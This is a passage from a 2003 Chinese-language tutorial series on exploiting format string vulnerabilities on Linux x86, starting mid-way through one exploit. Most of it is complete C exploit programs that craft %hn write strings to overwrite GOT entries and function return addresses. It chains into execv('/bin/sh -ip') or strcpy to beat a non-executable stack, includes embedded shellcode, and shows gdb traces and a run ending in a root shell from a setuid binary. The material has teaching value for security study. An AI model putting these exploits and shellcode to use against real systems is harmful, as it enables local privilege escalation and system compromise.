buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;

j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad);
buffer[j]=0x90;
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
printf("%s\n",buffer);



}
bkbll@mobile fmtxp_lib]$ gcc -o x3 x3.c; ./x3 >3; ./vuln 3
蛝)繞蛝柁/bin/sh
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
成功了。
我们跟踪一下程序:
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484cd
Breakpoint 1 at 0x80484cd: file vuln.c, line 31.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb) r 3
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 3

Breakpoint 1, 0x080484cd in foo (
line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", &#39;\220&#39; <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x418,%esp
0x8048439 <main+9>: and $0xfffffff0,%esp
0x804843c <main+12>: mov $0x0,%eax
0x8048441 <main+17>: sub %eax,%esp
0x8048443 <main+19>: sub $0x8,%esp
0x8048446 <main+22>: push $0x8048524
0x804844b <main+27>: mov 0xc(%ebp),%eax
0x804844e <main+30>: add $0x4,%eax
0x8048451 <main+33>: pushl (%eax)
0x8048453 <main+35>: call 0x8048370 <fopen>
0x8048458 <main+40>: add $0x10,%esp
0x804845b <main+43>: mov %eax,0xfffffff4(%ebp)
0x804845e <main+46>: cmpl $0x0,0xfffffff4(%ebp)
0x8048462 <main+50>: jne 0x8048489 <main+89>
0x8048464 <main+52>: sub $0x4,%esp
0x8048467 <main+55>: mov 0xc(%ebp),%eax
0x804846a <main+58>: pushl (%eax)
0x804846c <main+60>: push $0x8048527
0x8048471 <main+65>: pushl 0x804964c
0x8048477 <main+71>: call 0x8048320 <fprintf>
---Type <return> to continue, or q <return> to quit---
0x804847c <main+76>: add $0x10,%esp
0x804847f <main+79>: sub $0xc,%esp
0x8048482 <main+82>: push $0x1
0x8048484 <main+84>: call 0x8048360 <exit>
0x8048489 <main+89>: sub $0x4,%esp
0x804848c <main+92>: pushl 0xfffffff4(%ebp)
0x804848f <main+95>: push $0x3ff
0x8048494 <main+100>: lea 0xfffffbe8(%ebp),%eax
0x804849a <main+106>: push %eax
0x804849b <main+107>: call 0x8048330 <fgets>
0x80484a0 <main+112>: add $0x10,%esp
0x80484a3 <main+115>: movb $0x0,0xffffffe7(%ebp)
0x80484a7 <main+119>: sub $0xc,%esp
0x80484aa <main+122>: lea 0xfffffbe8(%ebp),%eax
0x80484b0 <main+128>: push %eax
0x80484b1 <main+129>: call 0x80484c4 <foo>
0x80484b6 <main+134>: add $0x10,%esp
0x80484b9 <main+137>: sub $0xc,%esp
0x80484bc <main+140>: push $0x0
0x80484be <main+142>: call 0x8048360 <exit>
End of assembler dump.
(gdb) x/i 0x8048360
0x8048360 <exit>: jmp *0x8049640
(gdb) x/wx 0x8049640
0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048366
(gdb)c
蛝)繞蛝柁/bin/sh

Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", &#39;\220&#39; <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/wx 0x8049640
0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0xbffff6e0 /* 已经修改成了我们的shellcode地址了 */
(gdb) x/i 0xbffff6e0
0xbffff6e0: nop
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
(gdb)

6.后记
我这里讲叙的都是一些最基本的format string利用方法,在phrack杂志上还有其他更深入很复杂的利用方法,比如利用覆盖return into libc的方法来饶过non-exec stack的限制等。有兴趣可以看看alert7, warning3等牛人的文章,或者直接看phrack杂志的介绍。
本人水平有限,对于GOT的理解只能是知其原,不知其所以原,如果理解有错误,还望不吝指教。


Format String 漏洞介绍/总结(五)
Bkbll(bkbll@cnhonker.net)
2003-6-10
4.关于 format string漏洞在non-exec stack linux x86上的应用.
这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:
1. 利用execv 直接执行我们的代码, 这样避免了代码是在堆栈里执行的情况了.
2. 利用strcpy等将代码段或者shellcode拷贝到可写而且可执行的数据段里面.
3. 高级利用技术, 请参阅Phrack文摘.
当然还有其他好几种方法, 1,2比较容易理解点, 这里就1和2做出解释.
参考vuln程序还是利用前面几章介绍的代码.
(1) 利用execv执行我们的代码.
我们来看execv的函数执行格式:
$man execv
EXEC(3) Linux Programmer&#39;s Manual EXEC(3)

NAME
execl, execlp, execle, execv, execvp - execute a file

SYNOPSIS
#include <unistd.h>

extern char **environ;

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg , ..., char * const
envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);

DEscriptION
从man page里面也可以知道为什么我们选用execv而不是用其他的execl,execlp等函数,或者system函数等,原因有几个:
a) execl,execlp函数最后面必须要有NULL结束, 等于就是0, 在format string里面想写入0到某个地址比较困难
b) execl,exclp等函数参数太多, 给我们构造format string带来了麻烦.
c) 为什么不用system呢? 从system的man page可以看出,system调用外部命令的方式是用/bin/sh -c , 对于一个具有suid的程序来说,bash 2版本不会加载suid权限为的, 除非我们给-p参数给他,也就是说除非使用/bin/sh -cp的方式调用才可以. 但system已经做死了, 所以不予考虑.虽然构造字符比较简单.
这里我们采用execv函数, 因为我们要在execv函数运行时候需要执行我们的参数, 所以写.dtors等方法不是很使用, 因为$esp的变动可能会影响我们的数据. 那我们就采用写函数的返回地址吧.
我们首先要知道几个地址:
a) execv在libc.so中的地址
b) 函数的返回地址
c) 我们的字符串在内存中的地址.
a,b, c等都可以轻松获得:
[bkbll@mobile test]$ objdump -x /lib/i686/libc.so.6 |grep execv
34 .gnu.warning.fexecve 00000039 00000000 00000000 0012a900 2**5
00000000 l O .gnu.warning.fexecve 00000039 __evoke_link_warning_fexecve
420ae650 l F .text 00000067 __execve
420ae9d0 l F .text 000002fc .hidden __GI_execvp
00000000 l d .gnu.warning.fexecve 00000000
420ae650 w F .text 00000067 execve
420ae6c0 g F .text 0000004d fexecve
420ae710 g F .text 00000039 execv
420ae9d0 g F .text 000002fc execvp

execv函数地址是0x 420ae710
我们来看看函数执行的时候返回地址在内存中存放的位置:
low addr---------------------------------> high addr
[ret addr][arg][arg][xxxxxxxxxxxxxxxxxxxxxx] :xxxx是我们不关心的数据
我们来看一看函数从leave 到ret指令的时候,esp和eip是怎么变化的:
0x80485c9 <foo+57>: add $0x10,%esp
0x80485cc <foo+60>: leave
0x80485cd <foo+61>: ret
Breakpoint 4, foo (
line=0xbffff6a0 "/* write to foo function return address and esp\n")
at vuln.c:57
57 }
(gdb) i reg eip
eip 0x80485cc 0x80485cc
(gdb) i reg esp
esp 0xbffff680 0xbffff680
(gdb) ni
0x080485cd in foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:57
57 }
(gdb) i reg eip esp
eip 0x80485cd 0x80485cd
esp 0xbffff68c 0xbffff68c
/* leave指令:eip 指向下一个要执行的地址,esp+12 */
(gdb) ni
0x08048583 in main (argc=2, argv=0xbffffb04) at vuln.c:44
44 foo (line);
(gdb) i reg eip esp
eip 0x8048583 0x8048583
esp 0xbffff690 0xbffff690
/* 要从函数返回了,eip指向函数的返回地址,就是前面的ret addr */
/* esp=esp+4; */
注意,这里的esp=(原来的ret addr) +4,
也就是说,如果我们改变程序流程的话, 让eip指向我们的函数,那么这个时候内存应该是这个样子:
low addr -----------------------------------------------------> high addr
[new function] [arg][arg][arg] [xxxxxxxxxxxxxxxxxxxxxxxxxxxx]
↑ $eip ↑$esp
跳到新函数地址后:
low addr -------------------------------------> high addr
[ret addr][arg][arg][arg][xxxxxxxxxxxxxxxxxxxxx]
↑$esp
也就是说原来的$esp+4成了调用我们函数的新返回地址 /* 这个在后面讨论strcpy调用的时候有用 */
由于我们的execv函数是没有返回的,也就是说这个地址没有必要构造, 而我们的execv有两个参数:( const char *path, char *const argv[])
所以在这里,我们需要写入三个地址:
[ret addr ] [ret addr+8] [retaddr+8+4]
假设我们想执行/bin/sh -ip的话, 那么
char *path="/bin/sh",
而char argv[]应该是:{"/bin/sh","-ip",NULL}
假设我们的"/bin/sh"字符的地址是:_bin_sh_addr,
我们可以这样构造字符串:
"/bin/sh\x00-ip\x00"
这个时候字符串"-ip"的地址应该是:_ip_addr=_bin_sh_addr+strlen("/bin/sh")+1;
这个时候我们可以来构造argv结构:
[_bin_sh_addr][_ip_addr][0x00000000]
↑argv addr
合并一下, 将"/bin/sh\x00-ip\x00"写在后面,就是:
[_bin_sh_addr][_ip_addr][0x00000000][somepad] "/bin/sh\x00-ip\x00"
注:这里的somepad可以为0,也可以为某些其他字符,没什么用途, 但是在某些特殊系统可能有用^^.
那么我们可以计算arg的地址 :):
_argv_addr=_bin_sh_addr-somepad-4*3
这个时候地址构造就全部出来了, 现在剩下的就是_bin_sh_addr的地址确定, 绝对地址虽然比较难确定, 但和我们字符串开头的地址还是比较容易确定的:) 构造好后可以搜索内存或者用变量统计就可以计算得出:)
这个时候我们需要把下面几个地址写进堆栈里面:
execv函数的地址 写进 函数返回地址
_bin_sh_addr 写进 函数返回地址+8
_argv_addr 写进 函数返回地址+8+4
我们可以手工模拟一下大概数据计算, 并且根据大小排列一下:
假设_bin_sh_addr在0xbffff780, somepad=0,那么argv addr=0xbffff780-12=0xbffff774
要写的数据:
0x420ae710 0xbffff780 0xbffff774
分别按16位拆开:
0x420a<0xbfff<0xe710<0xf774<0xf780
num1 num2 num3 num4 num5
再来看一下数据的构成(按照高位在后的原则:)
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num2
假设第一个要写的数据地址是pad个间隔(从数据开始地址到函数返回地址):
那么上面可以重新排列一下:
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5
好,我们可以构造一下数据:
假设我们在输出num1的前面还输出了j 个字节的内容,那么应该是这样:
num1-j 写到 pad+1处
num2-num1 写到 pad+3,pad+5处,
num3-num2 写到 pad处
num4-num3 写到 pad+4处
num5-num4 写到 pad+2处.
最后,我们构造的格式化字符串应该是这样的:
sprintf(buffer,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
最后就可以给出我们的exploit了:
/* write to foo function return address and esp
* use execv for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define want_write_addr 0xbffff6ac //foo return address
//#define want_write_addr2 0xbffff684 //esp address
#define pad 12 //pop esp value
#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0
#define execv_call_addr 0x420ae710 //objdump -x /lib/i686/libc.so.6 |grep execv
#define BUFSIZE 200
char shellcode[]=
"/bin/sh\x00-ip\x00";
char *file="./4";
main(int argc,char **argv)
{

char buffer[BUFSIZE];
int j=0,i=0;
int shell_addr_pad=80;
int somechar=0;
int want_write_addr2 = want_write_addr+8;
int want_write_addr3 = want_write_addr+8+4;
int argvaddr; //= _bin_shaddr-somechar-4*3;
int _ip_addr; //= _bin_shaddr+strlen("/bin/sh")+1;
int fd;
int num1,num2,num3,num4,num5;
int _bin_shaddr=0xbffff6b0;
int distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;
if(argc>1) distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;
argvaddr = _bin_shaddr-somechar-4*3;
_ip_addr = _bin_shaddr+strlen("/bin/sh")+1;

num1=(execv_call_addr >>16) & 0xffff;
num3=(execv_call_addr) & 0xffff;
num2=(_bin_shaddr >>16) & 0xffff;
num4=(argvaddr) & 0xffff;
num5=(_bin_shaddr) & 0xffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%#x\n",num1,num2,num3,num4,num5);
//ensure num4>num3>num2>num1
fprintf(stderr,"_bin_sh addr:%#x\n",_bin_shaddr);
//j=sprintf(buffer,"%s",want_write_addr);
/* pad */
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
/* pad+1 */
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
/* pad+2 */
buffer[8]=((want_write_addr2)) & 0xff;
buffer[9]=((want_write_addr2)>>8) & 0xff;
buffer[10]=((want_write_addr2)>>16) & 0xff;
buffer[11]=((want_write_addr2)>>24) & 0xff;
/* pad+3 */
buffer[12]=((want_write_addr2+2)) & 0xff;
buffer[13]=((want_write_addr2+2)>>8) & 0xff;
buffer[14]=((want_write_addr2+2)>>16) & 0xff;
buffer[15]=((want_write_addr2+2)>>24) & 0xff;

/* pad+4 */
buffer[16]=((want_write_addr3)) & 0xff;
buffer[17]=((want_write_addr3)>>8) & 0xff;
buffer[18]=((want_write_addr3)>>16) & 0xff;
buffer[19]=((want_write_addr3)>>24) & 0xff;
/* pad+5 */
buffer[20]=((want_write_addr3+2)) & 0xff;
buffer[21]=((want_write_addr3+2)>>8) & 0xff;
buffer[22]=((want_write_addr3+2)>>16) & 0xff;
buffer[23]=((want_write_addr3+2)>>24) & 0xff;


j=8*3;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
//fprintf(stderr,"j=%d\r\n",j);
/* arg addr */
j++;
buffer[j++]=argvaddr & 0xff;
buffer[j++]=(argvaddr >>8) & 0xff;
buffer[j++]=(argvaddr >>16) & 0xff;
buffer[j++]=(argvaddr >>24) & 0xff;

// /bin/sh addr
buffer[j++]=_bin_shaddr & 0xff;
buffer[j++]=(_bin_shaddr >>8) & 0xff;
buffer[j++]=(_bin_shaddr >>16) & 0xff;
buffer[j++]=(_bin_shaddr >>24) & 0xff;
// _ip_addr addr
buffer[j++]=_ip_addr & 0xff;
buffer[j++]=(_ip_addr >>8) & 0xff;
buffer[j++]=(_ip_addr >>16) & 0xff;
buffer[j++]=(_ip_addr >>24) & 0xff;
// NULL
buffer[j++]=0;
buffer[j++]=0;
buffer[j++]=0;
buffer[j++]=0;

// "/bin/sh" string
j+=sprintf(buffer+j,"/bin/sh");

/* 这里有两种方法计算距离*/
/* 第一种用j就可以了*/

fprintf(stderr,"caculate the distance from buffer+0 to \"/bin/sh\" addr:%d\r\n",j-strlen("/bin/sh"));
/*这里是搜索内存*/
while(1)
{

if(i%16==0)
{
printf("\r\n%p: ",buffer+i);
}
printf("%3.2x",buffer & 0xff);
if((buffer==&#39;/&#39;) && (buffer[i+1]==&#39;b&#39;) && (buffer[i+2]==&#39;i&#39;))
{
printf("\r\nGot it,distance:%d,%s\r\n",i,buffer+i);
break;
}
i++;
}
buffer[j++]=0;
j+=sprintf(buffer+j,"-ip");

if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}

/* write to file */
if((fd=open(file,O_CREAT|O_RDWR|O_TRUNC,0777))<0)
{
perror("write to file error");
exit(0);
}
write(fd,buffer,200);
close(fd);

printf("ok,write down\n");

}
我们来试一下:
[bkbll@mobile fmtxp_lib]$ gcc -o x4 x4.c
[bkbll@mobile fmtxp_lib]$ ./x4
num1:0x420a,num2:0xbfff,num3:0xe710,num4:0xf713,num5:0xf71f
_bin_sh addr:0xbffff71f
caculate the distance from buffer+0 to "/bin/sh" addr:108

0xbffffa10: ac f6 ff bf ae f6 ff bf b4 f6 ff bf b6 f6 ff bf
0xbffffa20: b8 f6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
0xbffffa30: 31 33 24 68 6e 25 33 32 32 34 35 70 25 31 35 24
0xbffffa40: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
0xbffffa50: 31 32 24 68 6e 25 34 30 39 39 70 25 31 36 24 68
0xbffffa60: 6e 25 31 32 70 25 31 34 24 68 6e 00 13 f7 ff bf
0xbffffa70: 1f f7 ff bf 27 f7 ff bf 00 00 00 00 2f
Got it,distance:108,/bin/sh
ok,write down
[bkbll@mobile fmtxp_lib]$
两种方法都计算出来了/bin/sh到顶端的距离是108, 我们加上108就可以得到_bin_sh_addr了:
[bkbll@mobile fmtxp_lib]$ ./x4 108
num1:0x420a,num2:0xbfff,num3:0xe710,num4:0xf720,num5:0xf72c
_bin_sh addr:0xbffff72c
caculate the distance from buffer+0 to "/bin/sh" addr:108

0xbffffa00: ac f6 ff bf ae f6 ff bf b4 f6 ff bf b6 f6 ff bf
0xbffffa10: b8 f6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
0xbffffa20: 31 33 24 68 6e 25 33 32 32 34 35 70 25 31 35 24
0xbffffa30: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
0xbffffa40: 31 32 24 68 6e 25 34 31 31 32 70 25 31 36 24 68
0xbffffa50: 6e 25 31 32 70 25 31 34 24 68 6e 00 20 f7 ff bf
0xbffffa60: 2c f7 ff bf 34 f7 ff bf 00 00 00 00 2f
Got it,distance:108,/bin/sh
ok,write down
[bkbll@mobile fmtxp_lib]$
看看效果如何:
[bkbll@mobile fmtxp_lib]$ ls -l vuln
-rwsr-xr-x 1 root root 19283 6月 7 18:31 vuln /*便于测试,给了suid root */
[bkbll@mobile fmtxp_lib]$./vuln 4

/* some extra char */
sh-2.05b# id
uid=500(bkbll) gid=500(bkbll) euid=0(root) groups=500(bkbll)
sh-2.05b#

ok,可以了.

(2) 利用strcpy
虽然限制了我们不能在堆栈中运行程序,但是我们总可以找到即可写又可以运行的地方吧?;)
elf文件中的DYNAMIC区是个不错的选择:
[bkbll@mobile fmtxp_lib]$ objdump -p vuln

vuln: file format elf32-i386

Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x000000c0 memsz 0x000000c0 flags r-x
INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x0000066f memsz 0x0000066f flags r-x
LOAD off 0x00000670 vaddr 0x08049670 paddr 0x08049670 align 2**12
filesz 0x00000114 memsz 0x0000011c flags rw-
DYNAMIC off 0x00000680 vaddr 0x08049680 paddr 0x08049680 align 2**2
filesz 0x000000c8 memsz 0x000000c8 flags rw- /*虽然这里没标明x,但的确可运行*/
NOTE off 0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2
filesz 0x00000020 memsz 0x00000020 flags r--

Dynamic Section:
NEEDED libc.so.6
INIT 0x80482f8
FINI 0x80485f4
HASH 0x8048128
STRTAB 0x8048204
SYMTAB 0x8048164
STRSZ 0x6f
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x804975c
PLTRELSZ 0x30
PLTREL 0x11
JMPREL 0x80482c8
REL 0x80482b8
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048288
VERNEEDNUM 0x1
VERSYM 0x8048274

Version References:
required from libc.so.6:
0x0d696911 0x00 03 GLIBC_2.1
0x0d696910 0x00 02 GLIBC_2.0

就用这个地址了.
和用execv思路差不多, 我们需要改写的四个地址:
low addr -----------------------------------------------------------------> high addr
[ret addr][ret addr+4][ret addr+8][ret addr+12][xxxxxxxxxxxxxxxxxxxx]
改写成:
low addr -----------------------------------------------------------------> high addr
[strcpy function addr] [dest addr] [dest addr] [src addr] [xxxxxxxxxxxxxxx]
从前面讨论可以知道, 第一个dest addr是strcpy函数的返回的地址,而第二个dest addr则是strcpy的第一个参数,src addr是strcpy的第二个参数,所以需要连续写两个 dest addr :)
我们需要写的数据(假设shellcode addr=0xbffff78c):
strcpy 的地址 0x42079da0 写入到 [ret addr]
dest addr 的地址0x08049680 写入到[ret addr+4]
dest addr 的地址0x08049680 写入到[ret addr+8]
src addr 的地址 0xbffff78c 写入到[ret addr+12]
我们来精心构造格式化字符串:
0x0804<0x4207<0x9680<0x9da0<0xbfff<0xf78c
num1 num2 num3 num4 num5 num6
按16位(%hn格式)分开:
0x42079da0 0x08049680 0x08049680 0xbffff78c
num4 num2 num3 num1 num3 num1 num6 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5 pad+6 pad+7
那么最后可以得到:
sprintf(buffer,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+3,pad+5,num2-num1,pad+1,num3-num2,pad+2,pad+4,num4-num3,pad,num5-num4,pad+7,num6-num5,pad+6);
最终buffer就是我们要的结果.
我们可以得到exploit程序如下:
/* write to foo function return address and esp
* use strcpy for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define want_write_addr 0xbffff6ac //foo return address:for gdb is 0xbffff68c,for prog=0xbffff6ac;
//#define want_write_addr2 0xbffff684 //esp address
#define pad 12 //pop esp value
#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0
#define dynamic_addr 0x08049680 //objdump -p ./vuln |grep DYNAMIC
#define strcpy_addr 0x42079da0 //$ objdump -x /lib/i686/libc.so.6 |grep strcpy

#define BUFSIZE 200
char shellcode[]=
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char *file="./5";
main(int argc,char **argv)
{

char buffer[BUFSIZE];
int j=0,i=0;
int shell_addr_pad=80;
int somechar=0;
int want_write_addr2 = want_write_addr+4;
int want_write_addr3 = want_write_addr+4+4;
int want_write_addr4 = want_write_addr+4+4+4;

int fd;
int num1,num2,num3,num4,num5,num6;
int _bin_shaddr=0xbffff6b0;
int distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;
if(argc>1) distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;

num1=(dynamic_addr >>16) & 0xffff;
num3=(dynamic_addr) & 0xffff;
num2=(strcpy_addr >>16) & 0xffff;
num4=(strcpy_addr) & 0xffff;
num6=(_bin_shaddr) & 0xffff;
num5=(_bin_shaddr >>16) & 0xffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%#x,num6:%#x\n",num1,num2,num3,num4,num5,num6);

fprintf(stderr,"shellcode addr:%#x\n",_bin_shaddr);
/* pad */
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
/* pad+1 */
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
/* pad+2 */
buffer[8]=((want_write_addr2)) & 0xff;
buffer[9]=((want_write_addr2)>>8) & 0xff;
buffer[10]=((want_write_addr2)>>16) & 0xff;
buffer[11]=((want_write_addr2)>>24) & 0xff;
/* pad+3 */
buffer[12]=((want_write_addr2+2)) & 0xff;
buffer[13]=((want_write_addr2+2)>>8) & 0xff;
buffer[14]=((want_write_addr2+2)>>16) & 0xff;
buffer[15]=((want_write_addr2+2)>>24) & 0xff;

/* pad+4 */
buffer[16]=((want_write_addr3)) & 0xff;
buffer[17]=((want_write_addr3)>>8) & 0xff;
buffer[18]=((want_write_addr3)>>16) & 0xff;
buffer[19]=((want_write_addr3)>>24) & 0xff;
/* pad+5 */
buffer[20]=((want_write_addr3+2)) & 0xff;
buffer[21]=((want_write_addr3+2)>>8) & 0xff;
buffer[22]=((want_write_addr3+2)>>16) & 0xff;
buffer[23]=((want_write_addr3+2)>>24) & 0xff;

/* pad+6 */
buffer[24]=((want_write_addr4)) & 0xff;
buffer[25]=((want_write_addr4)>>8) & 0xff;
buffer[26]=((want_write_addr4)>>16) & 0xff;
buffer[27]=((want_write_addr4)>>24) & 0xff;
/* pad+7 */
buffer[28]=((want_write_addr4+2)) & 0xff;
buffer[29]=((want_write_addr4+2)>>8) & 0xff;
buffer[30]=((want_write_addr4+2)>>16) & 0xff;
buffer[31]=((want_write_addr4+2)>>24) & 0xff;

j=4*8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",
num1-j,pad+3,pad+5,num2-num1,pad+1,num3-num2,pad+2,pad+4,num4-num3,pad,num5-num4,pad+7,num6-num5,pad+6);
j++;
j+=sprintf(buffer+j,"%s",shellcode);

while(1)
{

if(i%16==0)
{
printf("\r\n%p: ",buffer+i);
}
printf("%3.2x",buffer & 0xff);
//break;
if((buffer==&#39;\x31&#39;) && (buffer[i+1]==&#39;\xdb&#39;) && (buffer[i+2]==&#39;\x89&#39;))
{
printf("\r\nGot it,distance:%d\r\n",i);
break;
}
i++;
}

buffer[j++]=0;
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}

/* write to file */
if((fd=open(file,O_CREAT|O_RDWR|O_TRUNC,0777))<0)
{
perror("write to file error");
exit(0);
}
write(fd,buffer,200);
close(fd);
printf("ok,write down\n");

}
运行一下:
[bkbll@mobile fmtxp_lib]$ gcc -o x5 x5.c
[bkbll@mobile fmtxp_lib]$ ./x5
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff,num6:0xf71f
shellcode addr:0xbffff71f

0xbffffa10: ac f6 ff bf ae f6 ff bf b0 f6 ff bf b2 f6 ff bf
0xbffffa20: b4 f6 ff bf b6 f6 ff bf b8 f6 ff bf ba f6 ff bf
0xbffffa30: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
0xbffffa40: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
0xbffffa50: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
0xbffffa60: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
0xbffffa70: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 31 32
0xbffffa80: 70 25 31 38 24 68 6e 00 31
Got it,distance:120
ok,write down
/* 这个时候距离是120 */
[bkbll@mobile fmtxp_lib]$ ./x5 120
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff,num6:0xf738
shellcode addr:0xbffff738

0xbffffa00: ac f6 ff bf ae f6 ff bf b0 f6 ff bf b2 f6 ff bf
0xbffffa10: b4 f6 ff bf b6 f6 ff bf b8 f6 ff bf ba f6 ff bf
0xbffffa20: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
0xbffffa30: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
0xbffffa40: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
0xbffffa50: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
0xbffffa60: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 33 37
0xbffffa70: 70 25 31 38 24 68 6e 00 31
